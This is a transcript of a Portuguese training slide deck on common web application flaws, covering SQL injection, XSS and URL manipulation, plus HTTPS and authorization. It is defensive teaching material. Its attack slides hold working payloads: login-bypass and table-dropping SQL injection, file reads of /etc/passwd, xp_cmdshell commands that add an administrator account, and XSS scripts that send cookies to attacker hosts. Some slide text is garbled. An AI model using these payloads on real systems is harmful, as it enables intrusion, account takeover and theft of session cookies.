A apresentação está carregando. Por favor, espere

A apresentação está carregando. Por favor, espere

Falhas mais comuns em aplicações WEB. Agenda Introdução Explicando cada ataque através de exemplos –URL Manipulation –SQL Injection –XSS Cross Site Scripting.

Apresentações semelhantes


Apresentação em tema: "Falhas mais comuns em aplicações WEB. Agenda Introdução Explicando cada ataque através de exemplos –URL Manipulation –SQL Injection –XSS Cross Site Scripting."— Transcrição da apresentação:

1 Falhas mais comuns em aplicações WEB

2 Agenda Introdução Explicando cada ataque através de exemplos –URL Manipulation –SQL Injection –XSS Cross Site Scripting Como resolve-los O que HTTPS nos oferece –Porque HTTPS não resolve nossos problemas? Próximos passos do projeto ….

3 Introdução Os ataques a serviços de rede estão se tornando muito sofisticados A criatividade humana não para Mas o que faltava? –APLICAÇÕES!!! Mas será que é possível? Atualmente a maioria dos BUGs reportados estão em aplicações Application Security != Network Security Não se esqueçam: Quem provê acesso aos dados? As aplicações !!!

4 Introdução – Lendas Urbanas Não ha problemas –Até que a aplicação seja comprometida Erros de runtime não são problemas (tratamento de erros) –Exponham informações relevantes –Consumam todo recurso do servidor Web Services não são vulneráveis –Quase nunca testados e raramente segurança é considerada Solução –Testes de penetração. São caros !!!

5 Introdução - Números Gartner –75% dos ataques acontecem no nível das aplicações –Em caso de falha no sistema provavelmente os desenvolvedores são três vezes mais culpados do que os administradores de sistemas NIST –92% das vulnerabilidadces estão no nível das aplicações

6 Introdução Nosso foco será demonstrar estes BUGs de forma prática Para nos proteger temos que entender das táticas e armas no nosso inimigo Temos que ter nossas armas para nos defender !!!

7

8 Testes e segurança por onde vai ….

9 Contexto Não há segurança de sistemas sem a conjuncão de tres fatores –Boas praticas de codificação –Metodologia adequada (arquitetura e etc) –Testes..... E ai vem.....

10 O que é segurança Segurança em um end line –Mas o que é isso? –Não se discute segurança sem entender de Arquitetura de Computadores, Sistemas Operacionais, Redes de computadores (protocolos de comunicação, Linguagem de programação, engenharia de software e Logica.

11 O que é segurança Entao o que eu preciso saber para se poder testar.... –Opção 1: seguir os procedimentos definidos alguem que sabe disso tudo –Opção 2: Saber disso tudo

12 Então para o que querem....

13

14

15

16

17

18

19 Segurança de Redes Recursos –Sites

20 Segurança de Redes –Periódicos Linux Journal Sys Admin Magazine Information Security SC Info Security Magazine Security Magazine (Nacional)

21 Testes

22 OSSTMM

23

24 Agora faça seu checklist –O que fazer? –O que testar? –Como fazer? –São as resposta que queremos. Vamos começar por..... AQUI

25 Em Aplicações WEB

26 URL Manipulation O comando GET requisita informações importantes na URL Os parâmetros podem ser manipulados para se obter resultados satisfatórios O impacto é ALTO Variações podem ser feitas para se tentar obter resultados interessantes ebitamount=1

27 URL Manipulation

28

29 SQL Injection A idéia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB Todos os parâmetros passados são direcionados para o banco de dados O atacante pode manipular com as tabelas e dados diretamente

30 Causas - SQL Injection public void OnLogon(object src, EventArgs e){ SqlConnection con = new SqlConnection( "server=(local);database=myDB;uid=sa;pwd;" ); string query = String.Format( "SELECT COUNT(*) FROM Users WHERE " + "username='{0}' AND password='{1}'", txtUser.Text, txtPassword.Text ); SqlCommand cmd = new SqlCommand(query, con); conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); try{ if(reader.HasRows()) IssueAuthenticationTicket(); else TryAgain(); } finally{ con.Close() }

31 SQL Injection – Problemas Esperado: username: abc password: teste123 Quando submetido a query será montada como: select * from users where username='abc' and password = 'test123' Não esperado: username: abc'; -- password: A query enviada para o banco de dados será: select * from users where uname='abc; --' and password=''

32 SQL Injection – Problemas Esperado: Username: doug Password: SELECT COUNT(*) FROM Users WHERE username='doug' and Não esperado: Username: ' OR 1=1 -- Password: SELECT COUNT(*) FROM Users WHERE username='' OR 1=1 -- and password=''

33 SQL Injection Usuário Malicioso Site vulnerável EsperadoNão esperado Login com Sucesso

34 SQL Injection – Mais exemplos Identificando campos de uma tabela SELECT fieldlist FROM table WHERE field = 'x' AND IS NULL; --'; Verificando se a tabela existe SELECT , passwd, login_id, full_name FROM table WHERE = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

35 SQL Injection – Mais exemplos Procurando por usuários SELECT , passwd, login_id, full_name FROM members WHERE = 'x' OR full_name LIKE '%Maria%'; Ataques de força bruta SELECT , passwd, login_id, full_name FROM members WHERE = AND passwd = senha123';

36 SQL Injection – Mais exemplos Verificando as permissões no Database SELECT , passwd, login_id, full_name FROM members WHERE = 'x'; DROP TABLE members; --'; Criando um usuário SELECT , passwd, login_id, full_name FROM members WHERE = 'x'; INSERT INTO members (' ','passwd','login_id', 'full_name') VALUES user',User da Internet');--';

37 SQL Injection – Mais exemplos Alterando o mail de comunicação SELECT , passwd, login_id, full_name FROM members WHERE = 'x'; UPDATE members SET = WHERE =

38 Caracteres utilizados ' ou "Utilizado para indicar tipo char -- ou # Comentário /*…*/ Comentário de várias linhas +Adição, concatenação ||Concatenação %Wildcard ?Param1=foo&Param2=bar Parâmetros da URL PRINT Muito utilizado quando não temos Local Variável Global waitfor delay '0:0:10'Delay

39 SQL Injection directory_search.php?how=or&words=&w here=all&sort_mode=delete%20*%20from %20users_uses

40 Determinando a versão do SGBD Na maioria do tempo as mensagens de erro nos ajudam a identificar qual o SGBD utilizado –As mensagens de erro ODBC mostram SGBD utilizado Se não tivermos as mensagens ODBC –Tentamos analisar qual a tecnologia utilizada na aplicação e no servidor WEB –Tentamos utilizar caracteres, comandos ou stored procedures que geram erros específicos

41 Determinando a versão do SGBD MS SQL T-SQL MySQLAccess Oracle PL/SQL DB2 Postgres PL/pgSQL Concatenat e Strings ' '+' ' concat (" ", " ") " "&" "' '||' '" "+" "' '||' ' Null replace Isnull()Ifnull() Iff ( Isnull () ) Ifnull() COALESC E() Positio n CHARIND EX LOCATE() InStr() TEXTPOS( ) Op Sys interactio n xp_cmdsh ell select into outfile / dumpfile #date#utf_file import from export to Call Cast YesNo Yes

42 Interagindo com o sistema Operacional Existem duas maneiras de se interagir com o sistema operacional –Lendo arquivos Obtendo arquivos de senhas Trocando senhas dos usuários Executando comandos que troquem parâmetros do sistema –Execução direta de comandos Não ha limites !!! Qualquer ação depende do privilégio que o usuários utilizado pelo SGBD possui

43 MySQL e a interação O.S. MySQL –LOAD_FILE ' union select 1,load_file('/etc/passwd'),1,1,1; –LOAD DATA INFILE create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp; –SELECT INTO OUTFILE

44 MS SQL e a interação O.S. MS SQL Server –'; exec master..xp_cmdshell 'ipconfig > test.txt' -- –'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- –'; begin varchar(8000) ; ' ; select | ' from tmp where ; as x into temp end -- –' and 1 in (select substring(x,1,256) from temp) -- –'; sysname; = 'del test.txt'; EXEC drop table temp; drop table tmp --

45 Arquitetura mais comum Sempre tenha em mente O SQL normalmente é executado em um outro servidor O servidor de BD normalmente não tem acesso a Internet e é protegido Web Server Paginas WEB Database Server Execução Do SQL Application Server Validação Da Entrada

46 Comando de rede relevantes Usando a SP xp_cmdshell podemos executar: –Ipconfig /all –Tracert myIP –arp -a –nbtstat -c –netstat -ano –route print

47 Manipulando com as informações da rede '; varchar(256); = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin varchar(8000) ; ' ; select | ' from tmp where ; as x into temp end -- ' and 1 in (select substring(x,1,255) from temp) -- '; sysname; = 'del test.txt'; EXEC drop table temp; drop table tmp --

48 Manipulando com o S.O. Linux MySQL –' union select 1, (load_file(' /etc/passwd ')),1,1,1; MS SQL Criando usuários –'; exec xp_cmdshell 'net user /add victor Pass123'-- –'; exec xp_cmdshell 'net localgroup /add administrators victor' -- Iniciando serviços –'; exec master..xp_servicecontrol 'start','FTP Publishing' --

49 Obtendo a senha do VNC '; binary(8) output select as bigint) as x into TEMP-- ' and 1 in (select cast(x as varchar) from temp) --

50 XSS Cross Site Scripting

51 WEB Session Hijaking Não a ligação entre o ID do login e o ID da sessão A sessão do usuário pode ser roubada Impacto é ALTO A idéia e obter de alguma forma o HASH da sessão

52 Cross Site Scripting User banco.com sitehaker.com / Webpage + Cookies Cookie Link malicioso em uma pagina web ou malicioso Malicious Link Envia cookie para sitehaker.com Reflected Code Envia o Cookie para attacker.com Cookie Executed

53 Cross Site Scripting (XSS) Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada. O POST contém um script que pode ser executado via browser window.navigate("http:// somesite.net/steal.asp?cookie=" +document.cookie)

54 XSS – Como o atacante depura Pode colocar uma mensagem no post alert(this is vulnerable) A aplicação retorna a sua submissão –

55 XSS – Exemplos Pode se receber um com o um link O resultado é enviado para um site window. navigate("http://badsite.net/st eal.asp?cookie="+document.cooki e) S/simple.html

56 XSS – Exemplos do passado ert(%22rfdslabs%22)%3C/script%3Ehttp://www.fotolog.net/about.html?user=%3Cscript%3Eal ert(%22rfdslabs%22)%3C/script%3E > alert(document.cookie) ge2.html?tw= alert(Test); alert(do cument.cookie) &frompage=4&page=1&ct=VVT V&mh=0&sh=0&RN=1 arch_exe?search_text=%22%3E%3Cscript%3Ealert%28 document.cookie%29%3C%2Fscript%3E

57 Solução –Sempre valide a sessão com login e os parâmetros críticos

58 Sistemas distribuídos Sistemas distribuídos podem ser vistos de maneira geral como diferentes elementos de software (aplicações) executando remotamente (ou em locais remotos) e se comunicando para fornecer/consumir serviços. –Conjunto de máquinas autônomas –Interconectadas por canais de comunicação –Comunicando-se por troca de mensagens –Independência de falhas (falhas parciais) –Ausência de relógio global –Ausência de estado global –Estado compartilhado da aplicação (através de comunicação)

59 Sistemas distribuídos Além de considerar todos os problemas anteriores –Eles se potencializam num cenário distribuído Precisamos usar –Comunicação Segura –Autenticação –Integridade dos dados trafegados –Serviços de rede passam a ser problemas : DNS Principalmente.

60 Comunicação segura O que podemos usar –VPN: IPSec, PPTP,.... –Custoso –Por ser necessário uma configuração especial, a aplicação depende não somente dela mas da rede prover –Mas lembre-se A REDE É INSEGURA !!!!!

61 E a aplicação ? Autenticação Integridade dos dados trafegados Que tal uma PKI ? –Temos Autenticação –Temos Integridade e confidenciaidade se encriptarmos os dados

62 O que HTTPS nos oferece HTTPS resolve os problemas de segurança apontados anteriormente? Mas então para que usar HTTPS? –Muitas vezes dizemos que o uso de HTTPS nos temos o servidor seguro

63 O que HTTPS nos oferece HTTPS é a versão segura do protocolo HTTP que implementa a autenticação e encriptação da comunicação. –Previne os ataques do tipo men-in-the-middle e que dados interceptados sejam lidos A autenticação é uma característica muito explorada atualmente –ICP-BR

64 O que HTTPS nos oferece 1.Negocia qual sistema de codificação será usado durante a transferência 2.Estabelece e troca as chaves de sessão entre o cliente e o servidor 3.Opcionalmente autentica o servidor para o cliente 4.Opcionalmente autentica o cliente para o servidor

65 Autenticação usando certificados e chaves públicas/privadas Web server End user Fase do desafio (Mensagem Randômica) Protocolos de encriptação Protocolos de Encriptação OK Identificação da Conexão Randômica (server) CA chave pública OK!Se o cliente não tiver a chave pública da CA (recebemos uma mensagem informando O certificado não é valido) | Cancel | Always Trust | Trust this time | Fase do desafio (Mensagem Randômica) Identificão da Conexão Randômica (server) Chave e certificado público do servidor

66 Autenticação usando certificados e chaves públicas/privadas Web server End user CA chave pública Fase do desafio (Mensagem Randômica Identificão da Conexão Randômica (server) Sessão masterPar de chaves simétricas (Encriptado) Chave e certificado público do servidor

67 Autenticação usando certificados e chaves públicas/privadas Web server End user CA chave pública Fase do desafio (Mensagem Randômica Identificão da Conexão Randômica (server) Sessão master LeituraEscrita Par de chaves simétricas dentificão da Conexão Randômica (server) Par de chaves simétricas LeituraEscrita Idenfificão da Conecção Randomica (server) Fase do desafio (Mensagem Randômica Fase do desafio (Mensagem Randômica A autenticação do cliente pode começar agora Chave e certificado público do servidor

68 Porque HTTPS não resolve nossos problemas? Porque nossos problemas não estão apenas nos protocolos ou na comunicação. Temos problemas nas aplicações e estas hierarquicamente estão acima dos protocolos de comunicação.

69 Autorização Associar direitos, capacidade e habilidades associadas a um assunto A autorização geralmente vem após uma autenticação –Ex.: Uma vez que se sabe quem é o usuário foi autenticado o serviço decidirá o que o usuário pode fazer no contexto que ele esta autorizado

70 Autorização RBAC Autorização baseada em perfil Autorização baseada em contexto

71 Auditoria Loggin analises –Data warehouse –Mineração de dados Correlação de eventos

72 Próximos passos Componente focado em resolver os problemas apresentados –Não intrusivo –Flexível –Performance –Fácil de usar Autenticação –Componente para autenticar Login/Senha Certificado Digital Biometria

73 Referências –Open-Source Security Testing Methodology ManualOpen-Source Security Testing Methodology Manual Web Application Disassembly with ODBC Error Messages JavaOne 2005 –Strategies for Securing Java Technology Code –Web Services Security Attacks in Action –9 Ways to Hack a Web App Advanced SQL Injection In SQL Server applications Advanced Cross Site Scripting CROSS-SITE TRACING (XST) SQL Injection Signatures Evasion

74 F I M


Carregar ppt "Falhas mais comuns em aplicações WEB. Agenda Introdução Explicando cada ataque através de exemplos –URL Manipulation –SQL Injection –XSS Cross Site Scripting."

Apresentações semelhantes


Anúncios Google